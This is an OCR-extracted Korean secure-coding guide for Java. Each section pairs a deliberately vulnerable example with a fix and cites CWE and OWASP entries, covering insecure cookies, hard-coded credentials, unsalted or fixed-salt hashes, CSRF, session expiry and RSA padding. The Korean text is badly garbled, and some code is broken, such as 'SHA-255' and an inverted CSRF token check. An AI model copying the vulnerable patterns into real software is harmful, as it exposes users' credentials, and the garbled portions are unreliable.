39: idCookie.setSecure(true);

40: passwordCookie.setSecure(true);

41:

42: response.addCookie(idCookie);

43: response.addCookie(passwordCookie);

44: }

45: if (command.equals(LOGOUT_CMD))

46: {

47:

48: idCookie.setMaxAge(0); // CookieS W}Z 2}A g},

49: passwordCookie.setMaxAge(0);

50:

51: }

52: if (command.equals(OTHER_ACTION_CMD))

Hoby|s




53: {

54:

55: idCookie.setMaxAge(-60 * 2); // AH&A7} Al ARG oFTE cookie?t 78415
56: passwordCookie.setMaxAge(-60 * 2);

57:

58: }

59:

60: }

61:

62: }

i
[0
x{

Sl

I U |
[1] CWE-539 Information Exposure Through Persistent Cookies,
http:/ /cwe.mitre.org/ data/ definitions/539.html
[2] 2010 OWASP Top 10 - A7 Insecure Cryptographic Storage
https:/ /www.owasp.org/index.php/Top_10_2010-A7

Slolc BEElY
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13. BHQ&EA wAL o= Qg F7] :-Z(Sensitive Cookie in HTTPS

Session without 'Secure’” Attribute)

7t A9
HTTPSE Y Aul2dhs 4% BE Fusk 958k Ho] anshl Adunia Yz
T Boke] MR HolHE nekeA ol AT w mek £4e AYHA gow
FAA A Bt BliEe] PER w2W ok

. kA 2971
= HTTPSEH AMH]28k= 4% Belg-A 710 HolBE A&E v "E=A] Cookie 244 €]
setSecure(true) MAEE T E3I] HkLAS “765“4 g ALl E(Z | 1)ell A HTTPY

HTTPS} HTTPSE 37 AH8-3t= 79 setSecure MAEE T&s1d s F7|7F HTTP
E BalA= Aol HAEEA ol Aoyt B 4 lorm=E Fogof i)

o} oA
HTTPSE R AH|25hs 9 04 JRE 7k 2718 dshs Bgold, ner &4

2 BRSA gow FAANA Rt =52 F Yok

oﬁ

1T e
2:  private final String ACCOUNT_ID = "account';

3

4:  public void setupCookies(ServletRequest r,  HttpServletResponse response)
5 |

6 String acctlD = r.getParameter("accountID");

7 /] B AARHA g2 T

8 Cookie ¢ = new Cookie(ACCOUNT_ID, acctID);

9: response.addCookie(c);

10: }

fr
23
Is
>

HTTPSEWE Aulzste 49 WA FRE 7 FI)8 AR 5ol
Cookie A <] setSecure(true)E

B AT I=9] ¢ - JAVA

private final String ACCOUNT_ID = "account";

public void setupCookies(ServletRequest r,  HttpServletResponse response)
{

String acctID =  r.getParameter("accountID");

/1 A FE3 A

if (acctID == null || "".equals(acctID)) return;

® N> Tl
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String filtered_ID = acctID.replaceAll("\r", "");

Cookie ¢ = new Cookie(ACCOUNT_ID, filtered_ID);

// DA% ARE 7H F918 AFTujols Bk &4 AAstolof itk
c.setSecure(true);

response.addCookie(c);

1:
2:
3:
4:
5:
6:
7:
8:
9:

10:
11:

12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

// Command #H <]
private final String LOGIN_CMD = "login";

private final String USER_ID_PARM = "user_id";
private final String PASSWORD_PARM = "password";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

{
String command = request.getParameter(COMMAND_PARAM);

if (command.equals(LOGIN_CMD))

{
String userld = request.getParameter(USER_ID_PARM);
String password = request.getParameter(PASSWORD_PARM);

Cookie userldCookie = new Cookie(USER_ID, userld);
response.addCookie(userIdCookie);

Cookie passwordCookie = new Cookie(PASSWORD, password);

response.addCookie(passwordCookie);

H2&E H2oty|s
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shol] M7 HlolEE HES A4 AAss Ao dAHow

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

private final String LOGIN_CMD = "login";

1

2

3

4

5: // Command ## 2]

6

7

8 private final String USER_ID_PARM = "user_id";

9 private final String PASSWORD_PARM = "password';

11: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

12: {

13: String command = request.getParameter(COMMAND_PARAM);

14:

15: if (command.equals(LOGIN_CMD))

16: {

17: String userld = request.getParameter(USER_ID_PARM);

18: String password = request.getParameter(PASSWORD_PARM);

19:

20: HttpSeesion session = request.getSeesion(true);

21: seesion.putValue(USER_ID, userld);

22: seesion.putValue(PASSWORD, password);

23:

24: }

25:

26: }

27:

28: }

o I3z =d
[1] CWE-614 Sensitive Cookie in HTTPS Session Without "Secure’ Attribute,
http:/ /cwe.mitre.org/data/definitions/614.html
[2] 2010 OWASP Top 10 - A9 Insufficient Transport Layer Protection
https:/ /www.owasp.org/index.php/Top_10_2010-A9
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14. 8% ol E3HE g 29= F Al2¥] 8% B (Information Exposure
Though Comments)
7k A4

AR
HOlE A9, WA B Fole A AZIE Aol 1T
ook, o}F 47l Az AT

o} oA
Tl dAlE UM Bol BAo ASH olEW WAAUSE FHE o] A&
AN =E A9 ghobal Hokol MR otk

1T e
2: // Password for administrator is "tiger."<-F4]ol] = =7t AUt
3:  public boolean DBConnect()

4 |

5: String url = "DBServer";

6: String password = "tiger";

7: Connection con = null;

8:

9: try

10: {

11: con = DriverManager.getConnection(url, "scott", password);

12: }

13: catch (SQLException e)

14: {

15 e

Za2I8 JPEAe FAE SOl EAES AR Aol dA=dE S ARE AT
SE Aol SASHA AAlstolof Fih

B A% 3=9 ¢ - JAVA

1T e
2 // UHA T BER & FH Holxd =Y Ao Foh
3:  public Connection DBConnect(String id, String ~ password)

4. |

5: String url = "DBServer";

6: Connection conn = null;

HM2&E Hot7|s »
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try

{

String CONNECT_STRING = url + " + id + "" + password;

10: InitialContext ctx = new InitialContext();
11: DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
12: conn = datasource.getConnection();
13: }
14: catch (SQLException e) { == }
15: return conn;
16:  }

O dAle JspR=e] diFoln, hmlFA o2 jspi=o] 7553 DB s HHE 7]
<3 EAUTE htmlFAL JspTAET 2 FolAEA &2~ BY|E X317} 7H531]
wjiol] Hebd W17e AHE htmlFA4 082 AHEsiA= <k doh

1: <l JDBCE &3l scott/tiger® H&E A =gr}-->
2: <%

3 Connection conn;

4 PreparedStatement pstmt;

5: String sql;

6 ResultSet rs;

7

8

9

Class.forName("oracle jdbc.driver.OracleDriver");

: conn=DriverManager.getConnection("jdbc:oracle:thin:@localhost:1521:xe","scott", "tiger");
10: %>

29 A= ME Tol BAESCE ASYH HRES A9A I htmlFA o2
A staA A FHolz|old Holx] AT himl &2K7]2 32l 7Fsdt MMARES
EE3ATh

1. <l--<td>admin : <%=rs.getString("admin")%> </td>-->
2: <td>: B9 o] 52 <%=rs.getString("user") %> UUTE </td>

2% 3 &4
[1] CWE-615 Information Exposure Through Comments,
http:/ /cwe.mitre.org/data/ definitions/615.html
[2] 2010 OWASP Top 10 - A7 Insecure Cryptographic Storage
http:/ /www.owasp.com/index.php/Top_10_2010-A7-Insecure_Cryptographic_Storage
[3] Web Application Security Consortium 24 + 2 - (WASC 24 + 2) Information Leakage
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15. £E glo] Y3F A3 AM8{Use of an One-Way Hash without a Salt)

NAUEE A% A DFF A4 B 4AL olgdtel AAYSe) AARES A
A

o weF A EE SE glol A4l AR, FAAE AARS HeolB} ol
e mE sagsol tal s4ghe el AN, olE AgEA] o] g3te] W)

Sl

n P2AES A A H 29 EEE &4

ool

porol oz shof de A4 A

t}. oAl
ool dAlE Mg AN W2 ERS AN ke Db oIt

1. import java.security.MessageDigest;

2.

3. public byte[] getHash(String password) throws NoSuchAlgorithmException {
4. MessageDigest digest = MessageDigest.getInstance("SHA-255");

Slolc BEElY

5 digest.reset();
6. return input = digest.digest(password.getBytes("UTF-8"));
7.

HgE e 4 Pl YHYOE AGSIG HnS HolBe ol§F A B
o] 7bsatu, o8 WA sl WAYESh SES A4 Pl YHOE H4ghe AL

B AT 7=9] ¢ - JAVA

return input = digest.digest(password.getBytes("UTF-8"));

1:  import java.security.MessageDigest;

2:

3:  public byte[] getHash(String password, byte[] salt) throws NoSuchAlgorithmException {
4: MessageDigest digest = MessageDigest.getInstance("SHA-255");

5: digest.reset();

6: digest.update(salt);

7:

8:

2t FaEd

[1] CWE-759 Use of a One-Way Hash without a Salt, MITRE,
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http:/ /cwe.mitre.org/data/ definitions /759.html
[2] 2011 SANS Top 25 - RANK 25 (CWE-759), http://cwe.mitre.org/top25/
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16. 24 AAgE ZE gEEX(Download of Code Without
Integrity Check)

YASRRE A2 IE EE AYPRA S FHA A4 Qlo] H2E B o
AFEo TF AU, Ol—t— host server®] W2, DNS spoofing =
A =

£ AYL F =S Ao

Fl

Sl

(

= DNS spoofings ®Hol& 5= 2= DNS lookups 33t ZT AFA 22T 5 Qe
g% JHS o8l FEZE ¢FI3T w3 g2 It Y-S 9 Bedk
HAaFe] Ho R AP 3ttt o9} I jail T o9k FARE “sandbox’ #7E ¢l
A AYEEE

¢

o} oA

GUSA e =9l AR el Aolch ZEHE RS £AYE 2
o0} ertesl 29 H9EA BAE 5 gk olg@ 4% 344
2 g929 W £4T 5 Aok

fr e

Slolc BEElY

1:  URLp| classURLs = new URL[]{

2: new URL("file:subdir/")

3}

4:  URLClassLoader loader = new URLClassLoader(classURLs);

5. Class loadedClass = Class.forName("LoadMe", true, loader);

olf ¢AF == WS tod 2o FU2E Rieby] A FYUxo A=A
(checksum)& sl ZEsle F=rt MEEA 0SS FRlgith

B A% 3=9 9 JAVA
URLp][ classURLs = new URL[|{
new URL("file:subdir/")
I
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("LoadMe", true, loader);
if(loadedClass.getChecksum() == loadedClass.isChecksun())
Library lib = (Library) loadedClass.newInstance();

}

S A L N
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2 e
[1] CWE-494 Download of Code Without Integrity Check, MITRE,
http:/ /cwe.mitre.org/data/ definitions /494.html
[2] 2011 SANS Top 25 - RANK 14 (CWE-494), http://cwe.mitre.org/top25/
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17. AolE 7 8% 9| =(Cross-Site Request Forgery, CSRF)

7k A9
CSRE §7& ol 5el ) AlolE7} AgAe] 9 HepgAR sheld sk Aol o]
A g WS ARES T 0 BYIT FAAE AL AFH Adol B B

A 2l
A FastelE A% fAH ARA 24N MR 8ge TRA o A
0_}-

U g8mEadl 048 WYL AL A 84S AYLE UTa) Aokl A =
@o] A T ol AW AA GET WAo2 ATkl TAA oIE 44 ok x
0—-—

of doh= 84S HWoEA 9T A9e 84T + W Atk

U kA% 2971

= form data posting®l 114 POST ]S AR&-gho). fu
= OWASP CSRFGuard 52| anti-CSRF 7|2 & A8t} =
kU
on
o} <A N
GET ¥4]& 93] £ dHolEE URL FHol Q&4 H4E3sl7] wl&Eo| GET W22 |2n
ES5 AL3E A gro] =& 22 CSRF &4 944 =22 & Uk

2:  <form name="MyForm" method="get" action="customer.do">
3:  <input type=text name="txt1">

4:  <input type=submit value="®|7]">

5

</form>

2:  <form name="MyForm" method="post" action="customer.do">
3:  <input type=text name="txt1">

4:  <input type=submit value="®]7]">

5. </form>

B9l o)Al CSREFAS EHlo] S AW Al
AAYRE WOHE F7HHQ AA el 2 glol Ao

IE} AN A = Azl

lrrl
o lM
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1:  public void sendBankAccount(String accountNumber,double balance)

2: |

3:

4 BankAccount account = new BankAccount();

5: account.setAccountNumber(accountNumber);

6: account.setToPerson(toPerson);

7: account.setBalance(balance);

8: AccountManager.send(account);

9:

10: }

O] dAel o] Fa3 HRE AP shs oA A= HIEA] AHSEAE ARFe=
A=Y= AT F) e AH Herh FesEs HAsE o] CSRF Folo] i
stth. CSRF= A4 /1 glo] AEel HIshAy flxshe 34017] et

B aH3 F=9 o - JAVA

1:

D AR S

e G
S N L A vl =

17:
18:
19:
20:
21:
22:
23:
24:

public void sendBankAccount(HttpServletRequest request, HttpSession session, String
accountNumber,double balance)
{

// AJNSE A #HY e Tl AR credential 2 =T
String newUserName = request.getParameter("username");
String newPassword = request.getParameter("password");
if ( newUserName == null || newPassword == null )
{
throw new MyEception("Hl©|E] 27);
}
// AR ZRE 2108 AR credential & $&Th
String password = session.getValue("password");

String userName = session.getValue("username");

/] ALFE F3lA oA FE ATt
if ( isAuthenticatedUser() && newUserName.equal(userName) &&
newPassword.equal(password) )
{
BankAccount account = new BankAccount();
account.setAccountNumber(accountNumber);
account.setToPerson(toPerson);
account.setBalance(balance);

AccountManager.send(account);

172 <« F2™ H?

r
~
olr



e
A&}l
Token<
At

o] A A= Token/Hd& o]-&ste] Z9ld fAe] AFES FUste] CSRFE4

ek 238 33 A0l Tokend A3 Aol AFIR, 21 Aol @Ak

AU HEste] FA9 LS Agsts TA O E Request 912E WASL

M A% == 4 - JAVA

1
2
3
4
5:
6
7
8
9

2. 4

1. 2320 AF Al 23 Aot A EZS YA s Session ol A%

<%

LRI W A A
CSRF_Token = dg g+5 o] &8 749 £449 A4
session.setAttribute("Token", CSRF_Token);

}
%>

Hol#x & URLS T34 BEZ AF
<form name="frm" action="Webapp_proc.jsp">
<input type-”hldden” name="Token" value="<%=session.getAttribute("Token")%>">
<input type=.....
<input type=...>
</form>
29 Yol AA URLE Sl AFd ES3 Ao Add EES Hlu
<%
String url_Token = request.getParameter("Token");
String session_Token = session.getAttribute("Token");
if (url_Token.equals(session_Token))
{
response.sendRedirect("invalid_request.html");
}

%>

2 Fx 24
[1] CWE-352 Cross-Site Request Forgery(CSRF),
http:/ /cwe.mitre.org/data/ definitions/352.html
[2] 2010 OWASP Top 10 - A5 Cross-Site Request Forgery(CSRF)
https:/ /www.owasp.org/index.php/Top_10_2010-A5

[3] 201

1 SANS Top 25 - RANK 12 (CWE-352), http://cwe.mitre.org/top25/

H2&E H2oty|s
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18. HA3}A] £ M T (Insufficient Session Expiration)
7k A9

A AlEelN FAAT} Aol AEE J1E A AT B EE AA ofelrie] A4}
82 Hgaks A5

= A REBRAIZEE AEE wolls A G FFE At 9A AlRte]l 21 Aol F

o} oA
ARS] BMEANE A2 A"k, Ade] AtE BUA s HRYT. ol9 e
Ao Zeagel AekHe oT 5 AUtk

1:  public class sessionTimeout extends HttpServlet
2

3 public void noExpiration(HttpSession session)

4 {

5: if (session.isNew())

6 {

7 /] DEAZIO] 10% ARE AlAde] A2 A gt
8 session.setMaxInactivelnterval(-1);
9: }

10: }

11: }

A= Aol e S wet AR Azke] B2w AMo] TRE & YEE AFE R
A% e ARk B,

B aAHF F=9] o - JAVA

1:  public class sessionTimeout extends HttpServlet

2

3 public void noExpiration(HttpSession session)

4 {

5: if (session.isNew())

6 {

7 /] ARl B ¢ JEs AT ko] Argios AT
8 session.setMaxInactiveInterval(12000);
9: }

10: }

11: }
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geo] dAs XML A HEAE AAE Ytk A BHEAZLE A= AY
sfol, MAe] AR BUX QEF AYACh olsh Ze ASE T AL of

71e = Aok

<?xml version="1.0" encoding="UTF-8"?>

<web-app>

<session-timeout>-1</session-timeout>

Sl

</session-config>

1

2

3

4

5: <session-config>
6

7

8

9

</web-app>

—
ofEedAlold el 540 met dA Alzte]l =W Aol F5E F AEF HTR & A
% ke Agselof . Hi
on
B 333 =29 o - JAVA ~
14:  <?xml version="1.0" encoding="UTF-8"?> |2|-|
15:
16:  <web-app>
17:
18: <session-config>
19: <session-timeout>300</session-timeout>
20: </session-config>
21:
22:  </web-app>

g F1 &3

[1] CWE-613 Insufficient Session Expiration, http://cwe.mitre.org/data/ definitions/613.html
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19. F29= #a): § v=2e] ZAKPassword Management: Heap Inspection)

7
HeMd Ta3 HolEE String AAol A%std Bt sttt Auke] String A=
T4 &7Fe(immutable)st7] wZoll, JVMe] ZHIASHE7} F26tr] A7k 4 vl
of AFal low, T2 o] WEeE AT & gloth webs ofEAclde A
o] nAdHor Fes o], vy HJIZ7} doju= A9l ofEeAelde] Hetdd b
olE|7} ejitel =EE F UTh

» WA EE String Ao AR st AL APstRE, WAl 7hsd AAl A sfoF g
o} = AL Folle W8S mEe A Arjsok Fk

o} oA
el dAe gaEs BAR el Suing BUCR WMFsel AREoH A
opgo] WAE 9ol

N

1o e

2:// private static final long serialVersionUID = 1L;

3:  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

4. |

5. e

6: }

7:

8:  protected void doPost(HttpServletRequest request, HttpServletResponse response)

9: |

10: String pass = request.getParameter("pass");

11:

12: if (pass != null)

13: {

14: if (-1 != pass.indexOf('<"))

15: System.out.println("bad input");

16: else

17: {

18: /] A=RES 3 visele] Ashd F kst

19: String str = new String(pass);

20: }

21: }

22: else { System.out.printin("bad  input"); }

23: }

o4 e
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Hbd Fag dojE(d: Ham)e Aol Jhsd AAAl st ARgalof shH,
HEgol A £AsE 2AS Fddof st T o] ASEA et A wEE oA
23| ok gt

B JdAF Z=9] ¢ - JAVA

PR

2:// private static final long serialVersionUID = 1L;
protected void doGet(HttpServletRequest request, HttpServletResponse  response) throws

ServletException, IOException >
4. | :
5. e 0_)'|_
6: }
7:
8:  protected void doPost(HttpServletRequest request, HttpServletResponse response) o
9: | ﬂ
10: // SFE FEH dgs weth <
11: String pass = request.getParameter("psw"); (l;JE'I
122 // 48 A=k N
13: if (pass != null) o
14: { In
15: if (-1 != pass.indexOf('<"))
16: System.out.println("bad input");
17: else
18: {
19: // passwordE § wxLe|el]l AstA] ehofof gt
20: // String str = new String(pass);
21: }
22: }
23: else { System.out.printin("bad input"); }
24: 1}
25, e

geol oAlE N2YES EAR WA Sting B WEsl Aggons
opgo] WAlE A $olt.

import java.io IOException;

import java.sql.Connection;
import java.sql.Statement;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import javax.servlet.ServletException;

import javax.servlet.annotation.WebServlet;
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9:  import javax.servlet.http.HttpServlet;

10:  import javax.servlet.http.HttpServletRequest;
11:  import javax.servlet.http.HttpServletResponse;
12:  import javax.xml.soap.Node;

13:  import javax.xml.xpath.XPath;

14:  import javax.xml.xpath. XPathConstants;

15:  import javax.xml.xpath. XPathExpression;

16:  import javax.xml.xpath.XPathFactory;

17:

18 /**

19:  * Servlet implementation class Sqllnjection
20. ¥/

21:

22:  public class WebService extends HttpServlet
23. |

24: private final String COMMAND_PARM = "command";

25: private final String GET_USER_INFO_CMD = "get_user_info";

26: private final String USER_ID_PARM = "user_id";

27: private final String USER_PASSWORD_PARM = "user_password";

28:

29: private static String  adminPassword;

30:

31: public WebService()

32: {

33: adminPassword = new String(loadAdminPassword());
34: }

35:

36: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

37: {

38: String command = request.getParameter(COMMAND_PARM);

39: if (command.equals(GET_USER_INFO_CMD))

40: {

41: String userld = request.getParameter(USER_ID_PARM);

42: String password = request.getParameter(USER_PASSWORD_PARM);

43:

44: if(password.equals(adminPassword))

45: {

46:

47 }

48:

49: }

50:

51: }

52:

53:. '}
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29 Aol A= Localol A 413 StringZ A S 74Aa Z2e% skal Utk Local
A Add W " EF0] BUH Ao AGAER B 471 /it

B AT F=9] ¢ - JAVA

R AR S S e

NN N RN N RN NNRNR 2 2 /2 |, o |

import java.io.IOException;
import java.sql.Connection;
import java.sql.Statement;
import java.util.regex.Matcher;

import java.util.regex.Pattern;

import javax.servlet.ServletException;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;

import javax.servlet.http. HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.soap.Node;

import javax.xml.xpath.XPath;

import javax.xml.xpath.XPathConstants;
import javax.xml.xpath. XPathExpression;
import javax.xml.xpath.XPathFactory;

/‘k*
* Servlet implementation class Sqllnjection

*/

public class WebService extends HittpServlet
{
private final String COMMAND_PARM = "command';
private final String GET_USER_INFO_CMD = "get_user_info";
private final String USER_ID_PARM = "user_id";
private final String USER_PASSWORD_PARM = "user_password";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException
{
String command = request.getParameter(COMMAND_PARM);
if (command.equals(GET_USER_INFO_CMD))
{
String userld = request.getParameter(USER_ID_PARM);
String password = request.getParameter(USER_PASSWORD_PARM);
// Local Stringell A% @k,
String adminPassword = loadAdminPassword();

H2&E H2oty|s
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41: }
42:
43. '}

2 Fx 3
[1] CWE-226 Sensitive Information Uncleared Before Release,
http:/ /cwe.mitre.org/data/ definitions/226.html
[2] 2010 OWASP Top 10 - A7 Insecure Cryptographic Storage,
https:/ /www.owasp.org/index.php/Top_10_2010-A7
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20. l=xZ =% A8-R A& (Hard-coded Username)

7
SW7F = 7ol 18 AHSA AR olF& Edstal, olF ol&ste] R Aol At
AU o HEUES} FAlS st AL APt 2= Wil steasd AR A
Aol 15 A oplsiAl =W, A= FeArE O dujel e rohiz|zh mi- of
Hoh dle] vofo] FHujets steid HA9ES Ao 7] wiEol Al=E e
A= SW Al =E HAE SAAA s AsoF sk A9rF 2D & Utk

v
r0
=
l".?l‘,
4y
oﬂ,
EE
Sl

n SjagEE dEslsle] A Zlo] uhgrE st

o} oA
0ge) AL ZE Yol ALgA oS3 HAYES 4 MAHste], WEol x 5
4 glo] 27%10] 7VsslES AHYT ol Zzasle] FHopd e opldth 2
on
PLEEIERETS -
1. e 3
2:  private Connection conn; n
3:
4 /) AR AN F5E GolsE Ao
5:  public Connection DBConnect()
6: |
7: String url = "DBServer";
8: String id = "scott";
9: String password = "tiger";
10:
11: try
12: {
13: conn = DriverManager.getConnection(url, id, password);
14: }
15: catch (SQLException ) { == }
16: return conny;
17}

dolEMe]| A8 AgsHE L2 A4 A “H EAQIS HAYSR ALgHE Aol
A =g a]olaaﬂov AYE BB EF, ASA AR L W2EE P8
53} shol AHGIAL b B9 B ASAZRE Ay 4 o} ATk

B AdAF I=9] ¢ - JAVA

2:  private Connection conn;
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// AT HERTE AR Y weth

public Connection DBConnect(String id, String password)

{
String url = "DBServer";
try
{

String CONNECT_STRING = url + "" + id + "" + password;
InitialContext ctx = new InitialContext();
DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);

// 98 & AAZ connections A

conn = datasource.getConnection();

}
catch (SQLException e) { = }

return conn;

k<]

ok

Bl lAlE mE W) AHA ol B3 HaY=

3l AH&AF el AE @ AAE

=
ol= #eA ID7F WAHE Af ZEIH

@ % ok

A
2

5L YA AL Aok Fiol

=
g2t 7 EWE 239 JFestEs ZAE U
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1:  import java.io.IOException;

2:  import java.sql.Connection;

3:  import java.sql.Statement;

4:  import java.util.regex.Matcher;

5:  import java.util.regex.Pattern;

6:

7. import javax.servlet.ServletException;

8:  import javax.servlet.http.HttpServlet;

9:  import javax.servlet.http.HttpServletRequest;
10:  import javax.servlet.http.HttpServletResponse;
11:  import javax.xml.soap.Node;

12:  import javax.xml.xpath.XPath;

13:  import javax.xml.xpath.XPathConstants;

14:  import javax.xml.xpath. XPathExpression;

15:  import javax.xml.xpath.XPathFactory;

16:

17 /=

18:  * Servlet implementation class Sqllnjection
19: ¥/

20:

Hot7ls



21:  public class WebService extends HttpServlet

22: |

23: private final String COMMAND_PARM = "command";

24: private final String GET_USER_INFO_CMD = "get_user_info";

25: private final String USER ID_PARM = "user_id";

26: private final String USER_ PASSWORD_PARM = "user_password";

27:

28: private static String adminPassword;

29:

30: private boolean isAdminld(String id)

31: {

32: if (id.equals("Admin")){

33: return true;

34: }

35: if (id.equals("AdminAssist"))

36: {

37: return true;

38: }

39: return false;

40: }

41:

42: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws

ServletException, IOException

43: {

44: String command = request.getParameter(COMMAND_PARM);

45: if (command.equals(GET_USER_INFO_CMD))

46: {

47: String userld = request.getParameter(USER_ID_PARM);

48: String password = request.getParameter(USER_PASSWORD_PARM);

49:

50: if(isAdminId(userld) == true)

51: {

52:

53: }

54:

55: }

56:

57: }

58: .

59: }

o] ofAlek Ze] DB = 54 91x]9] s soRRE #HA Ade REshs 9
S8 WEW, 1 A% ke ol NSt YA TasE Tz SEE 2E Aol
z2 e AuA-S BAsE=0) loadAdminlds() 25 #e]A ofe|lt o] Hgte wo}p 1
Zo| Aod id7} EFE o] YA Felaks WHe st Atk

H2&E 2o7|s »
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B 343 Z=9 9 - JAVA

1:  import java.io.lOException;

2:  import java.lang.reflect. Array;

3:  import java.sql.Connection;

4:  import java.sql.Statement;

5. import java.util.Set;

6:  import java.util.regex.Matcher;

7:  import java.util.regex.Pattern;

8:

9:  import javax.servlet.ServletException;

10:  import javax.servlet.http.HttpServlet;

11:  import javax.servlet.http.HttpServletRequest;

12:  import javax.servlet.http.HttpServletResponse;

13:  import javax.xml.soap.Node;

14:  import javax.xml.xpath.XPath;

15 import javax.xml.xpath.XPathConstants;

16:  import javax.xml.xpath. XPathExpression;

17:  import javax.xml.xpath.XPathFactory;

18:

19:  /**

20:  * Servlet implementation class Sqllnjection

21. ¥/

22:

23:  public class WebService extends HttpServlet

24: |

25: private final String COMMAND_PARM = "command";

26: private final String GET_USER_INFO_CMD = "get_user_info'";

27: private final String USER_ID_PARM = "user_id";

28: private final String USER_PASSWORD_PARM = "user_password";

29:

30: private static String ~ adminPassword;

31:

32: private boolean isAdminld(String id)

33: {

34: Set<String> adminlds = loadAdminIds();

35:

36: return adminlds.contains(id);

37: }

38: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

39: {

40: String command = request.getParameter(COMMAND_PARM);

41: if (command.equals(GET_USER_INFO_CMD))

42: {

43: String userld = request.getParameter(USER_ID_PARM);
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44 String password = request.getParameter(USER_PASSWORD_PARM);
45:

46: if(isAdminId(userld) == true)
47: {

48:

49: }

50:

51: }

52:

53: }

54:

55}

Sl

2 Fx =4
[1] CWE-255 Credentials Management, http://cwe.mitre.org/data/definitions/255.html
[2] 2010 OWASP Top 10 - A7 Insecure Cryptographic Storage,
https:/ /www.owasp.org/index.php/Top_10_2010-A7
[3] Security Technical Implementation Guide Version 3 - (STIG 3) APP3210.1 CAT 1II
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F kgt ¢ssk HH-sA] £ RSA 3|QJ(Weak Encryption: Inadequate
RSA Padding)

A

OAEP IS AME3FA] &3l RSA ¥al 9 .
S A AFgA WY Z1EE A ARgshE o] dubolth wiY e ALRE
3 A

ol gt RSA L Fe) AkH L olgse FAL He 4

)
ojx
o
o
oo
o
rlr
Py
rlo

= RSA ¥E]F AEA T glo] AHE(RSA/NONE/NoPadding)& A|&H3}tar, 94538 &1
ol Agg g3t A AgsloF ot

oA
52| A= T2 Y }lo] RSA dalg]Fe ARSS

F{F
AN
:
i
i
o
o

1T e
public Cipher getCipher()
{

Cipher rsa = null;

try
{

// RSA A-8-A] NoPadding AH&-

rsa = javax.crypto.Cipher.getInstance('RSA/NONE/NoPadding'");
10: } catch (java.security.NoSuchAlgorithmException €) { =" }
11: return rsa;

2
3
4
5:
6
7
8
9

1 e
2:  public Cipher getCipher()
3|
4 Cipher rsa = null;
5:
6 by
7 {
8 /* ol 228 FEI padding®] AHE-gle] RSAE AHE3HTE */
9 rsa = javax.crypto.Cipher.getinstance("RSA/CBC/OAEP")
RS



10: }
11: catch (java.security.NoSuchAlgorithmException e) { """ }
12: return rsa;
13}
RSA €ig|&e AHgste Afole 7HE 283 dEst F40 OAEPEFAS AH838h=
o Bk 71 LRSI
B AT F=9] 4 - JAVA
1:  import java.io.IOException;
2:  import java.sql.Connection;
3:  import java.sql.Statement;
4:  import java.util.regex.Matcher;
5. import java.util.regex.Pattern;
6:  import javax.servlet.ServletException;
7:  import javax.servletannotation.WebServlet;
8:  import javax.servlet.http.HttpServlet;
9:  import javax.servlet.http.HttpServletRequest;
10:  import javax.servlet.http.HttpServletResponse;
11:  import java.security. Key;
12:  import java.security.KeyPair;
13:  import java.security. KeyPairGenerator;
14:  import java.security.SecureRandomy
15:  import java.security.Security;
16:  import javax.crypto.Cipher;
17:
18 /**
19:  * Servlet implementation class Sqllnjection
20: ¥/
21:  public class Service extends HttpServlet
22: |
23:  private final String COMMAND_PARAM = "command';
24:
25.  // Command & A<
26: private final String CHANGE_PASSWORD_CMD = "get_user_info'";
27:  private final String USER_ID_PARM = "user_id";
28:  private final String PASSWORD_PARM = "password";
29:  private final String NEW_PASSWORD_PARM = "new_password";
30:
31:  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException
32: |
33: String command = request.getParameter("command");
34: if (command.equals(CHANGE_PASSWORD_CMD))
35: {

H2&E 2o7|s »
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36: String userld = request.getParameter(USER_ID_PARM);
37: String password = request.getParameter(PASSWORD_PARM);
38: String newPassword = request.getParameter(NEW_PASSWORD_PARM);

39:
40:
41: SecureRandom random = new SecureRandom();
42: KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
43: generator.initialize(2048, random);
44: KeyPair pair = generator.generateKeyPair();
45: Key pubKey = pair.getPublic();
46: Key privKey = pair.getPrivate();
47:
48: Cipher cipher = Cipher.getInstance("RSA/ECB/OAEP");
49: cipher.init(Cipher. ENCRYPT_MODE, pubKey, random);
50: byte[] cipherText = cipher.doFinal(newPassword.getBytes());
51:
52: ChangeUserPassword(userld, String(cipherText));
53: }
54:
55}
56:
57: '}
g F3 #d

[1] CWE-325 Missing Required Cryptographic Step,
http:/ /cwe.mitre.org/data/definitions/325.html

[2] 2010 OWASP Top 10 - A7 Insecure Cryptographic Storage
https:/ /www.owasp.org/index.php/Top_10_2010-A7
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22, FH okt 453 H g St=z=H & E(Weak Cryptographic Hash:
Hardcoded Salt)

7% A9
Seel 149 Saltgte AHEshe Al ZERAES] % MEAE 1 g = 0L
H, % Aol vl AHG= HolM AlxHe] FHepHom 2488 °l‘:]'. Tef 54
A7t Salt#ks Al Fobd, g F&EZ= 1] rainbow Eﬂolea gt s+ A3

HE dom A 5 Qv

. A" F971Y
® Salt(EF2 nonce) 22 o F3H7] o drE AHEetH, ST el AL S

Sl

slob @,
o aA] T
gl dAs FERE sl B4E A48T W, AT 428 sald AsTons A o
S oprlshe Aot on
)
=)
- [Wemsa ge acg 4 ava | n
1T e
2:  public byte[] encrypt(byte[] msg)
3: {
4 /] 227 =EENE W AL e g ok
5: final byte badsalt = (byte) 100;
6: byte[] rslt = null;
7:
8: try
9: {
10: MessageDigest md = MessageDigest.getInstance("SHA-256");
11: // Salt @& 3R et
12: md.update(badsalt);
13: rslt = md.digest(msg);
14: }
